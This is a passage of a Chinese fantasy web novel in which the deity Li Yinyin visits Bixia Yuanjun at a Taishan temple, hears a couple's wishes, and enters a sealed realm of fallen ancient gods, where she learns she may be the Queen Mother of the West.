一个女生好奇:“奇怪,这边不是叫奶奶庙吗,这奶奶也太年轻了吧。” 男生答道:“人家是神仙,青春永驻,长生不老不是很正常的嘛。” “你们真的没找错吧?门上就‘奶奶’两个字,会不会是修庙的人自己的亲奶奶?我们在这乱磕头,瞎认亲戚。” “自己的亲奶奶,要进也是进祠堂,怎么会叫奶奶庙。” 求知欲很强的苏灵衣好奇问道:“你们怎么会找到这里的?” “是在网上看到的,说这里是碧霞元君真正的家,许愿特别灵。” “是啊,在碧霞祠的人太多了,她未必能听到。” “这边就我们几个,如果世上真有神仙,那效果肯定更好。” “不管了,来都来了,礼多神不怪。” 一个年轻的男人手里拿着三支香,点着之后,跪下去拜了三拜。 李寅寅能听见他心中所想:“我是周勇,希望大神保佑我彩票中一亿以上,要是实在中不了彩票,就保佑我明年能升职加薪,能娶到董事长的二女儿冯佳,实在不行,希望他的大女儿冯美可以离婚,并且对我产生好感……入赘都可以。” 李寅寅心里满是不屑地冷笑,行啊,甚至还给了泰山奶奶plan B。 入赘是什么特别巨大的牺牲吗? 不就是生孩子不跟自己姓,在岳父家住着,大年三十要跟女方家过。 这有什么?几千年来的女人不都是这么过来的,怎么阳刚的男人们这就委屈上了? 何况赘婿还有骚操作,有“三代还宗”的玩法,就是三代以后,生的孩子又跟赘婿姓了。 还有生了孩子以后,虽然孩子跟女方姓,但是,那个孩子自己单开一支,成为家谱上的第一页,至于女方及其祖宗的信息,被抹得干干净净,大大违背了招赘的根本意图,纯纯的诈骗行为。 必须得说,以人类的审美来说,这男人生得确实还可以,难怪这么有自信,毕竟董事长的女儿也不至于饥渴到是个雄性就要。 这个男人磕完头,站了起来。 站在他身边的年轻女孩,也拿出了三支香,找男人要打火机。 男人温柔地笑道:“等一下,这地上连个蒲团都没有,跪地上有点疼,我给你垫一下。” 说着,他就将自己身上的羽绒服脱下来,女孩赶紧阻止:“这么冷,你脱衣服干嘛,当心受凉。” “没事,你舒服,我就舒服。”男人露出宠溺的笑容。 旁边的人跟着起哄:“你们哦,真是随时随地秀恩爱。” 年轻女孩不好意思地低下头,却根本藏不住偷偷弯起的嘴角。 男人在这么多朋友面前用自己的衣服垫着她膝盖的行为,赢得了她巨大的好感。 她跪在黑色的羽绒服上,双手合什,闭上双眼诚心祈愿。 “信女唐嘉,求泰山奶奶保佑公司开除我,赔给我N+1,希望周勇能在年前向我求婚,希望他愿意带我回家过年,希望他的家人都很好相处。希望我能顺利与周勇结婚,我想为他生下健康的宝宝,我们一家人快乐的生活在一起。” 她拜了几拜,把燃着的香插进香炉,刚用力往下按了按……三根香整整齐齐地断了。 拜神的香断了,那是相当的不吉。 唐嘉当即变了脸色。 “没事没事,肯定是刚才放在背包里不小心给压断的,咱们讲科学,不迷信啊,我再给你挑三根。”周勇殷勤的挑选,确认每根香都结实无比,他才又点上,递给唐嘉。 唐嘉又拜了三拜,在心里默念:“泰山奶奶,我是真的真的很喜欢周勇,我知道我的学历和容貌配不上他,但是我愿意为他做全职太太,愿意为他生儿育女,只要他愿意娶我,求您帮帮我。” 她再次将香插在香炉里,香又断了。 这下连周勇都说不出什么要讲科学不迷信的话了。 “可能是我刚才用的劲大了一点,本来没断的,给我掰断了。”周勇干笑两声,“我陪你再上一次香。” 两人同时跪在地上。 周勇心声响起:“如果这段时间跟唐嘉在一起,会挡我的财运,就让我的香也断掉。” 唐嘉心声响起:“无论如何,我都要嫁给周勇,如果全世界都反对,我宁可与全世界为敌!” 两人怀着不同的心思,同时对着神像拜了三拜,上香,这次,六根香上烟气袅袅,炷头一丝暗红稳定燃烧,完全没有要断的样子。 “哈,我陪着你,香就不断了。”周勇语气无比自豪。 唐嘉甜蜜地点点头,娇羞地应了一声:“嗯。” 唐嘉的心声响起:“泰山奶奶,你是不是暗示我这辈子的幸福,就要靠他了。” 李寅寅站在她身后,忍不住翻了一个大大的白眼:恋爱脑,狗都不吃。 其他几人也跟着下拜、上香,许的愿不是升官发财,就是能顺利毕业,还有希望父母身体健康。 等他们几人走后,庙里就空了,外面的山风吹起荒草发出的沙沙声,又让这座小庙凭添了几分萧瑟之意。 “碧霞元君,碧霞元君,在不在,在不在,在不在,在不在?!”李寅寅跟碧霞元君完全没有往来,不知道应该怎么请她现身。 只记得她好像是黄帝的部将,李寅寅觉得自己跟她是平辈,又算是战友,这么喊一喊应该没什么关系。 李寅寅的脑海里响起一个清亮的女声:“等我一下,还没到点……好,到了!” 一道青色虹光在庙内亮起,光芒隐去时,露出一个身披羽衣与云纱,容貌与雕像几乎一般无二的女子。 只是脸上有几分疲倦和懒洋洋,不那么宝相庄严。 “碧霞元君。”李寅寅向她欠了欠身,行的是平辈礼。 “使不得!”碧霞元君忙俯身,行叩拜大礼,把李寅寅给整不会了。 等碧霞元君行完礼后,站在李寅寅身旁的苏灵衣向碧霞元君行顿首礼。 李寅寅心中越发奇怪:“怎么,你跟她是平辈?” “狐兄是您身边近侍,自然与我同辈。”碧霞元君笑道。 李寅寅在心里把自己所知的各位神仙菩萨金仙罗汉的关系捋了一遍,还是不明白为什么碧霞元君要给自己行面见尊长之礼。 总不能是因为苏灵衣是她平辈,苏灵衣偷摸认自己做主人,所以,她也只好跟着苏灵衣的辈份走? 按说也没这个道理…… 百思不得其解,就不思了。 李寅寅放弃思考。 她坚持自己的一贯作风:“都已经在人间了,不必搞这么复杂的繁纹缛节,咱们也不是亲戚,也不存在师门辈份传承,就按平辈论交吧。” “那如何使得!”碧霞元君好像被李寅寅按头去干欺师灭祖的行径。 “有什么使不得的?”李寅寅不理解,“我说可以就可以。” 碧霞元君纠结三秒后,果断选择服从:“请随我来。” 这间小庙,也不过是碧霞元君住处的入口而已,并不是她真正住的地方。 淡淡青气蒸腾,周围的一切开始摇晃,发生变化,白玉地砖,青玉栏杆,碧波荡漾,锦鲤潜游,不知哪里盛开的花朵,散发着一阵阵沁人心脾的温暖香气,好像烘焙奶油,加焦糖,加桂花糖炒栗子,以及一些些燃烧的松木气息。 是非常适合寒冷冬天的味道,闻着就像坐在温暖的火炉边,吃着糖炒栗子,喝着焦糖奶油咖啡。 “好香的味道。”李寅寅夸赞道。 碧霞元君笑道:“您上次将香方赠予我之后,我便四下寻找材料,总算调来一样的味道。” “我?”李寅寅困惑地眨眨眼睛,指着自己。 在她的记忆中,自己身上的气味只有金属味和血腥味,那些花花草草,脂粉香水都跟她没什么关系。 就算有,也是从别人身上沾染到的。 李寅寅不由得回忆起一段往事: 某国元帅以为她是男人,便安排了美女间谍来搞色诱,那个漂亮姑娘,全身衣服少少的,味道香香的,在她面前大跳艳舞,想借着最后一个躺在她膝上的动作,把诃子从胸口扯下来,大露特露,等李寅寅看得色心大起的时候,一刀捅死她。 不幸的是,李寅寅对同性没有兴趣,处理完美女间谍之后,李寅寅发现军中同袍都用异样的眼神看着她。 问了才知道,原来他们是在担心这个带着他们从一个胜利走向另一个胜利的女人,突然之间就辞职回家洗手做羹汤,相夫教子,从此只专注于后宅妇人之争,搞一出《大帅从夫》。 各位副将、参将七嘴八舌地劝谏: “大帅,我主动入伍都是因为你啊!” “将士们还等着你带他们打胜仗,得功勋,封妻荫子呢!” “就算要结婚,也可以招赘婿嘛,以您的功勋,搞上十个二十个面首,谁能说半个不字!等将来战争结束了,我愿意为大帅管后宅!包管面首们老老实实不敢造次。” 别人还客气一点,彼此知根知底的属下胃土雉说得特别直白:“我募兵的时候,可都是打着你的旗号,说他们是跟着虎字营走,包活包立功包受赏,你信不信!你这一走,他们立马全当逃兵!” 李寅寅再三向他们表示自己是沾到别人身上的味道,不是她突然想嫁人了,他们这才安静下来。 那真是鸡飞狗跳的一次,让李寅寅记忆深刻。 从结婚嫁人,她又想到刚才那对同床异梦的小情侣:“刚才唐嘉的香断了两次,是你在劝她?” “是的。”碧霞元君轻叹,“难为她走这么远的山路过来,她实在虔诚,我便想提醒她,谁知道……良言难劝该死的鬼。” 最后那句话的语气明显带着情绪。 “现在他们年年来给我做工作,叫我一定要保证一定的愿望实现率,不管用什么手段实现,总之要实现。” 李寅寅:“他们?是谁?” “旅游局,他们想像雍和宫那样,创造一个在他们任上留下的经久不衰的故事。” 李寅寅笑道:“会当凌绝顶,一览众山小。封禅泰山。这些已经不能满足他们了吗?” “不是他们任上的业绩。现在他们不满足于守成,还想创新。” 碧霞元君也很烦恼,她每天要按碧霞祠的工作时间去听一听香客们的诉求。 根据旅游局的需求,她不用每一个愿望都实现,但是得挑人,就是那种爱表达,爱分享的人,是首选,就像有些餐馆会给坐在窗边和门边的客人多加一些份量,或是把摆盘放得好看一点。 现在碧霞元君也得按时上班,早上七点半到下午五点,全年无休倾听香客们的愿望。 好好的神,也弄得一身班味。 她还不能拒绝,许多古神都已经消失,就连泰山府君的信仰都没了。 泰山这边的管理局连泰山府君的信仰都没恢复,就专注帮她建庙修祠了。 这是她欠的香火,她必须为人类帮事,还清功德,不然她会很快进入“天人五衰”状态。 简单来说,就像一个玩家,发现自己手里的角色技能点全部点错,各种数值都是负的,所有活动都没赶上过。 做为一个正常的玩家,肯定是删号重开,而不是千辛万苦再把这个号拉起来。 在冥冥之中,就有一股这种类似于玩家的力量,一般被称为命运,也可以称之为宇宙大意志。 碧霞元君现在是泰山顶流,得到的香火相当之多,欠的也相当之多。 一个一个实现单体人类的愿望很慢,为国家做事快,毕竟还有国运可以护一护。 谁知道……她同意为国家机构做事,国家机构要求她做的就是一个一个实现单体人类的愿望。 等于工作量一点没减,还增加了,她得去听年终总结大会,还得通过托梦来沟通明年的工作计划。 唯一的好处是有国运护着,“天人五衰”之兆完全没有出现在她身上。 人在需要打扫卫生的时候,就想处理工作。 在需要工作的时候,想刷视频。 在刷视频的时候,还想一会儿吃点什么。 碧霞元君做为与人类接触相当频繁的神祇,也有这种不幸的习惯。 在碧霞祠里向她许的愿,对她来说是积压的工作。 在这座由当地百姓修的简陋小庙里许的愿,对她来说是调味剂,更值得听一听。 结果今天来许愿的小情侣,更让她头痛。 愿不是朝着李寅寅许的,她事不关已,高高挂起,她知道碧霞元君能看见人的未来命运,还颇有兴致地问:“周勇会娶到董事长家的女儿吗?” “不会,他没有这个命,但是……” “是什么?” “他会给唐嘉买巨额人寿保险,然后让她死于‘意外’。” “能成功?” “可以,他命中有一笔横财,还有牢狱之灾。” 碧霞元君摇头:“我已经把她的香折断两次,可是,她还是坚持,而且,她还愿意为这个男人,与全世界为敌。事不过三,警告两次,已经是泄露天机了。不过,她在死前会过一段幸福的日子,周勇会在所有公开场合与她出席,给她倒洗脚水,和她走路的时候,会走在靠马路的一边……” 李寅寅:“这幸福好廉价,有心就能做到,我还以为至少能让她当个总裁夫人,一国国母。” “唐嘉的愿望就是这样,她自己说的,不要大富大贵,只愿与周勇做一对平凡夫妻,过温馨的小日子。她会跟周勇在一起,就是因为周勇跟她看电影的时候,手里拿着的爆米花,稍稍向她的方向倾斜一点,她当时就动心了。” 这些所有的小动作,都是周勇的精心设计,而非发自本心,只因为当时的唐嘉能帮助他留在现在的这个城市。 现在,周勇已经留下了。 唐嘉以为自己劳苦功劳,是不下堂的糟糠之妻,周勇一定会娶她,只是早晚的事。 在周勇眼里,她已经没有用了,只会影响他得到更多。 “您也在人间游历多年,见过那么多悲欢,一定能明白我为什么不管吧。”碧霞元君望着李寅寅。 “嗯,我明白。” 就唐嘉这种上头的状态,别说香断了两次,要是再断,她能用铁皮子把香给包上。 就算碧霞元君当场显圣,告诉她“他妨你”,她也不会听的,还会沾沾自喜:“我为了爱他,连前途和未来都不要了,哦~多么伟大的爱情啊!” 李寅寅又不是立志地狱不空,誓不成佛的地藏王,对不听劝的人缺乏耐心。 碧霞元君忽然又说了一句:“不过,唐嘉身上似乎有与您相关的因果。” “啊??我不认识她。”李寅寅确认自己不可能跟这种究极恋爱脑有任何交集。 碧霞元君单手拈诀,闭目片刻后睁开眼睛:“是与您养的犬类有关。” 许久没开口的苏灵衣捕捉关键词:“我吗?” “你是狐狸!犬科不是犬类!”李寅寅问道,“是一只黄黑相间的狗吗?” “是,他来自异域。” “没错了,就是他,冯墨,什么因果?” 碧霞元君:“这只犬欠了她的恩情,如今您是这只犬的主人,如果它不还恩情,便要由您代偿。” “……这是什么保人体系。”李寅寅撇撇嘴,不过跟宇宙大意志叫屈,那肯定是没用的。 李寅寅决定告诉冯墨此事,当冯墨看见唐嘉上一世的形象,他双眼陡然睁大:“是,她是我上一世的主人,还救了我一命。” 唐嘉上一世是道光朝一位王爷的格格,那位王爷很疼爱她,他年少看过陈端生写的《再生缘》,十分为孟丽君遗憾,并希望能以自己的权力,把女儿托举上去。 他看见了世界历史的进程,知道西洋的英吉利有个维多利亚女皇,他希望自己的女儿可以摆脱一辈子困于后宅的命运。 于是,在慈禧才刚出生的那一年,他送唐嘉去欧洲留洋,希望她开拓视野,将来也许能在千年未有之大变局里成就一番事业。 结果,唐嘉在欧洲认识了一个骗子,骗子知道她的家世,便故意让唐嘉在快回国的时候怀孕。 从欧洲坐船回国要三个月,唐嘉下船的时候,肚子已经能看出来一点了。 骗子当面苦求,背后则是死皮赖脸地向王爷要求大笔嫁妆,再帮他在朝中谋差事和送房子,否则,就要让王爷女儿未婚先孕的事情传遍京城。 王爷气得要杀骗子,骗子连夜跑了。 王爷又要求唐嘉把孩子打掉,唐嘉认为自己亲爹是嫌贫爱富,她便要跟骗子私奔。 她觉得有情饮水饱,就带着一只在欧洲抱养的德国牧羊犬,也就是冯墨,一路到了上海。 不巧的是,当时正是1842年6月,吴淞失守,英军攻进上海,骗子靠着那张嘴,以及能沟通的英文水平,企图在英国人那里谋个差使。 见到唐嘉找过来,他非常开心,以为杜十娘都知道要带个百宝箱,王爷的格格怎么着也不能差吧。 结果,格格就带了条狗…… 骗子越发觉得格格是个弱智,便给格格下药,把她送到了英军司令官的床上,孩子没了,骗子还说是格格故意勾引英国人,给自己戴绿帽。 格格以为自己是酒喝多了才会被别的男人钻空子,她感到自己非常对不起骗子,从此骗子让她干嘛,她就干嘛,并且觉得这是在弥补自己的过失。 直到有一天,她发现自己得了花柳病,骗子则攀上了高枝,娶到了洋大人的侄女。 格格找上门,骗子避而不见。 格格依旧觉得是自己哪里做的不好,还大声喊自己愿意做妾。 可惜,洋大人那里没有妾室,只有情妇。 骗子也并不想要一个得了花柳病的情妇。 直到咽气,格格还在喊着骗子的名字。 李寅寅听完唐嘉前世的故事,叹为观止:“她是中了什么诅咒吗?她是怎么做到坚持两世恋爱脑不动摇的?……等等,她的故事里哪里有人,什么时候救的?” 冯墨:“我第一次被带去打猎,就受了很重的伤,被主人扔在猎场里等死,是她坚持把我救出来,给我治伤,哪怕我再也不能打猎了,她也对我不离不弃,她每天抱着我,告诉我她的心事,最后她穷困潦倒,也不会缺我一口吃的。” “确实是大恩,你应该还的。你打算怎么还?把周勇咬死?” 冯墨思忖片刻:“也不是不行……我可以吗?” “注意把握时间,我希望再次听到你的消息时,你是护主英雄,而不是突发恶疾乱咬人的疯狗。” 冯墨十分惊讶:“你的意思是……” “你跟她前世有交情,这一世又没有,不得好好建立感情吗?去吧。她会喜欢你的,说不定她会因为你,把周勇给蹬了。加油,我相信你!” 把冯墨安排妥当,李寅寅才与碧霞元君说起此来的正经事:“那个建木的上天通道,还能重启吗?” “现在?”碧霞元君眉头紧皱。 “有什么问题吗?” “可是……嗯,东王……”话没说完,一道惊雷便打在奶奶庙的屋顶上,一块瓦片滚落,砸在地上,碎成八瓣。 碧霞元君赶紧掩住嘴,见李寅寅盯着她,她实在没办法:“请您随我来。” 说罢,她打开身后的多宝阁,取出一口形似古钟的东西,钟上刻有金文“东皇”二字。 她又取来钟杵,对着古钟连续敲击,浑厚的钟声在空间里回荡:“咣咣咣……” 敲击第一下,周围的雕梁画栋慢慢淡去。 敲击第二下,光线渐暗,只有一点微弱的绿色火光。 敲击第三下,在李寅寅面前多了一块石碑,还有一扇顶天立地的巨门。 石碑上画着繁复的花纹,李寅寅认得那是西王母的印记,她在白玉京的禁地见过,翻译成人类的语言就是“擅入者死——西王母留。” “走啊,别愣着。”李寅寅指着巨门。 碧霞元君依旧立在石碑之外:“您得把石碑上的封禁解了,否则,我过界即死。” “我?这又不是我下的封禁。” 碧霞元君陪着笑脸:“是您立的,当日您与我交接泰山管辖权时,专门领我来看,这上面的掌印,还是您留的呢。” 李寅寅半信半疑地把左手按在石碑的掌印处,没反应。 碧霞元君小心提醒:“右手,是右手。” 李寅寅换了一只手。 “卡卡卡……”巨门缓缓打开,原本被门扇隔开的鬼哭哀嚎声,瞬间充斥着整个黑色空间,连苏灵衣都受不了,他痛苦地捂着耳朵:“众神陨落之地……竟然……在这里。” 太古时的神祇死于非命时,会在旷野中乱走,甚至还会留在尸体时,因而在《山海经》中,仿佛满地都是尸体,不是王子异之尸,就是奢比尸,或是头被砍了都死不掉的刑天。 后来,天神们合力开辟一处空间,专门为这些不入轮回,也未寂灭,满腔怨恨的神祇做为驻足之地,也就是现在这个地方。 由每一代泰山神代管。 第一任泰山神是女娲。 第二任泰山神是西王母。 第三任泰山神是碧霞元君,只是,她的神权被泰山府君分走了一半,需要两神合力才能打开门。 如今泰山府君已寂灭,以碧霞元君的力量再也打不开这扇巨门。 李寅寅震惊地盯着自己的右手:“我是女娲???” 90-97 第91章 古神的证词 听了李寅寅的话,碧霞元君心情复杂,她不知道这是来自古神的试探,还是真不记得了。 不管是哪种,回答都是要回答的,回答简称很不敬,工作的时候,要称职务,老上级问身份,当然要回答完整版: “您是上圣白玉龟台九灵太真无极圣母瑶池大圣西王金母无上清灵元君统御群仙大天尊。” 简称“西王母”,也可以简称为“瑶池金母”,《西游记》里叫王母娘娘。 李寅寅十分惊讶:“我?” 我什么时候搞兼职了,我怎么不知道? 不是,这也能兼职的吗?我还见过西王母的啊,我自己偷摸变出了一个分身,我自己也不知道? 我这是中邪了,自己干了这么多事,自己都不知道? 我到底是西王母兼任了白虎星君,还是白虎星君兼任了西王母? 为什么我一点都不知道? 李寅寅觉得自己的头很痛,却死活想不起来原因。 在她的记忆里,自己做为白虎星君的记忆很完整,从星辰诞生之时,她就在高空俯瞰着岩浆沸腾的大地。 由自然的力量幻化出的古神们在大地上行走,他们不需要任何信仰的力量,大自然就是他们的力量之源。 再然后,大地冷却,海洋初现。 总鳍鱼登陆,大地上出现生灵。 人类在好奇心和自然环境的驱使下离开大森林,走向广阔天地。 功德深厚的人类化为的神和仙成为主流,纯自然神逐渐势微。 女神被全员降格为配偶神,再无独立的神格,处处被后抬举出的男神压一头。 …… 李寅寅的记忆是完整的,也就睡的这一百多年没有印象。 怎么好好的就变成另一个神了,还是远高于白虎星君这个职位的上古自然神。 …… 众所周知,升职不加薪,就是在耍流氓。 李寅寅对于自己的身份突然变高,并没有感到欣喜,反而有些感到担忧。 她认识一个皇帝,不爱朝政,只爱画画,犹以画鹰为最出色,他仿的名家名画,仿品也能引得世人竞相收藏。 没几年,这货就被金兵打上门了。 他在跑路时,强行把皇位传给自己的儿子。 儿子不愿意,他让人把儿子打晕了,换上龙袍,拖到龙椅上,就算是继位完成了。 最后,这爹和这儿子都没跑得掉,在史称“靖康之耻”的事变中,父子俩成为岳家军的口号:“直捣黄龙,迎回二圣!” 李寅寅思来想去,都想不起来自己有过与西王母有关的记忆,莫非……“我也是被打晕了拖到白玉京昆仑宫的?” “我什么时候是西王母的?” 碧霞元君!山东出身!曾有多少考公学子跪求她的指点!又有多少人,因她的神力而实现了梦想! 可是,她发现自己竟然无法判断李寅寅问这句话的意思,也给不出高情商的回答,只能实话实说:“您一直都是。” “哦,这样……”李寅寅困惑地摸摸鼻子,“那我什么时候开始是白虎星君的?” “小神实在不知。”数百年来,碧霞元君都在埋头苦干,尽力回应民众们向她许愿。 “长毛”进村了,她帮人打长毛。 内乱了,她帮人平是非。 鬼子进村了,她帮人打鬼子,将老弱妇孺藏进山里。 这几年国泰民安,她收到最多的祈愿是考公上岸,为此,她还研究了什么叫考公,精研多年真题,分析面试技巧。 碧霞元君每天都要对香客的面相、气质、对考公的决心,以及说话的方式来分析此人到底能不能上岸。 有这琢磨外单位领导之间的那些事,还不如再多刷几遍考公真题,分析出题思路,对于有些特别虔诚、特别认真,一天苦学二十个小时的考公人,她愿意在最后的时候,给这些人托梦一些大题。 虽然,她托梦成功了好几个人,可是,那些人却不敢在社交媒体上公然宣称自己是在梦中看见了大题,不然就成了宣扬封建迷信。 于是,碧霞元君也很烦恼,她最近忙着改变工作方向,切换赛道,重新打造个人IP。 西王母变白虎,还是白虎变西王母,关她什么事。 反正又不是她的直属上司,既不影响她的年底考核,也不能让她获得双倍功德。 爱咋咋滴呗。 当然话不能这么直接说。 “您自从将泰山神权交给我之后,我日日不敢懈怠,一心只想做好本职工作,没有关注友山的人事变动。” 不知道就不知道吧,反正也不会差太多。 泰山府真正的秘密,就在这座巨门之中,也许走进去,一切就都清楚了。 这座仿佛与天地连接在一起的巨门,平整光滑,门上没有禁制、没有符咒,甚至连锁都没有。 就好像只是限制进入,而不限制离开。 那些心怀怨气,死不瞑目的古神为什么不出去? 李寅寅向前踏出一步,马上就知道原因了。 她只向界碑后迈出了一小步,便看见周围的景物都变了,变成一个极为微小的微观世界,周围的一切都是奇异的状态,是一个一个的奇怪结构: 一堆奇怪的小球围着位于中间的小球运动。 李寅寅在看黄少芸教科书的时候见过这东西,书上说,中间的那个叫原子核,周围乱蹿的那些叫电子。 跨过王母碑的人,就等于身体被化成了原子,进行跨位面传递,到了地方之后,原子再重新组合成身体。 王母的手印,开启的是接收端服务器,如果接收端那里不开,这里已经被拆开成了原子,没处可去的原子,只能不断消耗能量,最终能量达成平衡,再也没有可以维持运动和生命的能量存在……人神妖鬼也一并寂灭了。 “居然不是封建迷信,还挺科学……”李寅寅检查全身上下的不动产,看看有没有少一块。 全身都很正常,就连手指脚趾这些精细部件都没有装反的。 巨门之内,不知有什么东西在,李寅寅让碧霞元君和苏灵衣在外面等着。 门内的怨气极重,苏灵衣十分担心李寅寅的安全:“我和你一起去,多一个人多一个照应。” “拉倒吧,谁照应谁。真遇上事了,动手是别想的,转头就跑才是真理。我肯定跑得比你快,你说到时候我是应该回来救你呢,还是弃你于不顾?” 苏灵衣真诚地看着她:“他们要是停下脚步来吃我,就会给你多争取一点时间。” 如此甜蜜的话,铁石心肠如李寅寅听了都不由得心中微动。 也难怪唐嘉会上周勇的当,好听暖心的话谁不爱听呢。 李寅寅摇摇头:“争取什么啊!你看不起古神的威能吗?又不是野兽,还要停下来,扒拉扒拉,装死都能混过去。挡在古神面前的一切物体,都会在古神还没有真正碰到他们的时候,就灰飞烟灭,挡不了一秒。你还是好好在外面等着,要是没事干,就跟碧霞学学考公,我们白虎七宿有几个都在体制内呢,等这边事完了,他们得辞职回天庭,就多出位置了。 你先考进去,他们想办法拉拔拉拔你,就算你不能一下子坐在他们的位置上,至少也能多得一点照顾。” 见李寅寅主意已定,苏灵衣也不好再坚持什么,他也不想回去,执意要在王母碑外面等着,想等巨门再次开启的时候,让李寅寅第一眼就看见他。 “看看书,时间很快就过去了。”李寅寅笑道。 李寅寅只是开玩笑,碧霞元君真的从芥子袋中掏出了几本书 《国家公务员录用考试专业教材·行政职业能力测验》、《法律基础知识》、《公共基础知识》、《申论》…… 还有厚厚一撂卷子,有XX年真题,有仿真题,有国考的,也有省考的。 加起来有两个苏灵衣那么高。 “安心等着,等你做完这些题,我就出来了。”李寅寅挥挥手,转身走向门内,身后的巨大门扇便轰然关闭,苏灵衣连隔着越来越小的门缝表示一下依依不舍的机会都没有。 巨门之内,是另一个世界,是古神们最习惯的上古洪荒状态。 远处的火山口里时不时往外喷两口烟,近处的山上生得各种各样的植物,长着三只眼睛八条腿的猪飞快从地面跑过,河流或清澈或暗浊,河里的动物或生着九个脑袋,或生着十条腿…… 只有动物,还有一些依附于古神而生的无自我意识的魑魅魍魉。 李寅寅想象的场景是:她一进巨门,就有无数正在持刀互砍的古神灵魂一起转头望向她。 然后,满怀着对能够生入巨门神明的怨恨,他们操刀向自己冲来。 她再把他们杀一次。 她已经做好战斗准备,连白虎银枪都拿出来了。 结果,现在只能无聊的用枪头拨弄地上的杂草,还把一条正打算张嘴吃浆果的小蛇给吓了一跳,浆果没吃着,被枪尖打了脑袋,慌张逃蹿…… 李寅寅一把揪住小蛇的尾巴,将它拖回来,握在手中,她露出一个笑容,尽力展示出温柔一面:“老乡,问件事。” 小蛇泪眼汪汪:“天塌了不是我干的,是共工!我看见啦!” “……我知道。” “那那那,发洪水也不是我干的,是……” “谁问你这个啦!这边的神都去哪了?” 小蛇竖起尾巴尖,向西方指了指:“他们都去那里了。” “都?扎堆去那干什么?”李寅寅不明白,那里的烟气确实比别处更重一些,看起来,好像是在烧什么、烤什么…… 李寅寅的脑袋里冒出一个连自己都觉得荒谬的想法:古神们闲来无事,召开烧烤大会…… 不可能,绝对不可能。 那些古神之间的关系没这么好,要他们在一起不互殴,除非有共同的敌人。 在这里,有西王母立下的结界,一切法力无效,各位神仙大魔,都得用自己的原身状态与人对抗,自然神之间走的是“一物降一物”路线,水火相逢,就看是水更大能把火给灭了,还是火更猛把水给蒸发了。 越靠近西方那座高耸入天的黑色山脉,死气越重。 李寅寅终于看见在地面上出现人形生物了……虽然是死的。 他长得像人又像兽,肌肉虬结,头上有犄角,身后有尾巴,尾巴尖上是一具三角形,在他手边还有一根断开的三齿叉,身上散发着浓郁的硫磺味。 这东西,绝对不是华夏生物,倒像是西方教会说的魔鬼。 他们为什么在这里? 李寅寅加快脚步,赶向黑色高山。 如果她没有认错的话,这山就是传说中西北天柱之一的不周山,当日共工怒触,一时间天倾东南,地陷西北,女娲倾全力补天,待到工程结束时,她也耗尽神力,化入宇宙。 然后…… 李寅寅好像有了那么一点印象,创世神女娲将要消失之际,将大地之主的权柄交给西王母,让西王母成为第二代掌管天下的神明。 可惜,她只记得有这么一件事,不记得自己是以什么身份掺合进来的。 女娲是跟她交接的,还是……她只是一个见证者?白虎星君常年在西方驻守,有大事请她来观礼也是正常的。 前方的天空黑云密布,好像把那片空间完全罩住,在那么一个小小的空间之内,一道接一接的紫色电光不断往下打,好像那里就是一块由闪电织成的网。 在地面上,不时有火焰冲天而起,接着,又被像鞭子似的闪电给打灭。 如果是普通的妖魔站在这里,它只会看见地上没有任何植被,只有一片黑色焦土。 李寅寅的眼中,这里有许多人,几乎都是女性,她们身材高大,几乎有半天高,她们之中有生出太阳的羲和,也有曾与羲和部落打出狗脑的夸娥氏……她在后世被人改了性别,叫夸父。 她们正揪着头上有犄角,身后有尾巴的红皮肤怪物撕打。 那只红皮怪企图扇动蝙蝠翼,将她们带到高空再摔死,一道闪电劈中了它,连着挂在他身上的一个巨人也被雷劈中,一起摔了下来。 这只巨人没有头,胸前一对眼睛,他跳起来挥着斧子,劈向红皮怪的脑袋,红皮怪应声被削成两半。 “都给我让开!”巨人的肚脐里传出一声怒吼,周围众巨人齐齐闪开,只见他抡起巨斧,不断转圈,所到之处,红皮怪血肉横飞,在地面上所有的红皮怪瞬间被削成肉块血泥,喷溅了巨人一身。 高空中原先有一道闪着雪亮光芒的宽大缝隙,现在已经闭合得只剩一条细缝。 额头闪耀着金色光芒的巨人羲和将手中长弓与箭收起:“看来上面已经控制住了局面。” “哼,那些废物,干脆把他们全放下来,我一柄开天斧,把他们全灭了。”无头巨人抹了一把胸口和肚子,将巨斧支在地上,抬头望着天空,不屑地往地上吐了一口唾沫。 低头的一瞬间,他看见了李寅寅,他大喝一声:“你还敢来!!!” 提着斧子就往下砸。 李寅寅快速向后闪去,巨斧利刃擦着她的鼻尖划落,重重砸在地上,石块与泥土飞溅。 当无头巨人拎起斧子想来第二下的时候,李寅寅大喝一声:“等一下!你认识我吗!” 无头巨人冷笑:“你烧成灰我都认识!白虎监兵!你在天上是不是天天都看着我们这处深渊,嘲笑我们的失败?” 这无头巨人是炎帝部将——刑天。 他是这里罕见的男性神魔,也是地位最低的人格神。 他出生于炎黄大战之时,那时,已是父系社会,刑天为炎帝出征,被黄帝砍了头,他便以乳为眼,以脐为口,抡着大斧,继续战斗。 当时李寅寅是站的黄帝这一边,两边也算是仇人相见,分外眼红了。 李寅寅干笑两声: “我哪有这么变态嘛,我也被青龙杀了好多次,他也算给你报仇了,哈哈哈……我说刑天小哥,这么久不见了,你还是这么冲动,何必呢,何苦呢!” 刑天的斧子已经抡起来,要给李寅寅第二击,忽然,他的胳膊被一条金色的手臂架住。 太阳的生母羲和用看傻子的眼神看着刑天:“你跟她动手?自不量力,不如留着性命,再与这些洋妖一决高下。” “她有什么了不起!不就是星宿么!自古以来消失的星宿有多少!她也一样能被我打爆!”刑天大不服气。 羲和的表情越发微妙:“星宿?你在说什么?她是这三千世界的太阴之气化身,她是西王母!你根本不配与她动手。” “她不是白虎星君吗?西王母在我们头顶!就算你是太阳神,也不能如此胡言乱语!”刑天不服。 李寅寅看热闹不嫌事大,向周围的神仙巨魔们求证:“你们看我是谁?” 说她是西王母的占一半,都是太古时便已经存在的自然神。 说她是白虎星宿的占一半。都是在阪泉之战后存在的人格神。 自然神之间是通过组成身体的自然力量辨认彼此,人格神则是通过附在身体上的神格来辨认。 自然力量是无法修改的,就像人类就是血肉之躯,就算全身换再多的金属零件,大脑也是无法使用机械来替代,脑死亡就代表了生命的终结。 神格则是外在的赋予,随时可以变的,能加也能减,比如关羽这个主营业务是超能打、讲底气,在历史流转之中,慢慢就变成财神了。 就一般理性而言,李寅寅必须且只能相信自然神的判断。 人生三大问:“我是谁,我从哪来,我要往哪去。” 李寅寅从来没想过自己会为此而烦恼,现在,她脑中一片混乱:“我是谁?我为什么会出现在人间?我要干什么?” “你不该现在过来。”羲和将身形缩小,与李寅寅平视。 虽然很丢人,但李寅寅还是忍不住问出口:“其实……你知不知道,我到底为什么会变成现在这个样子?” 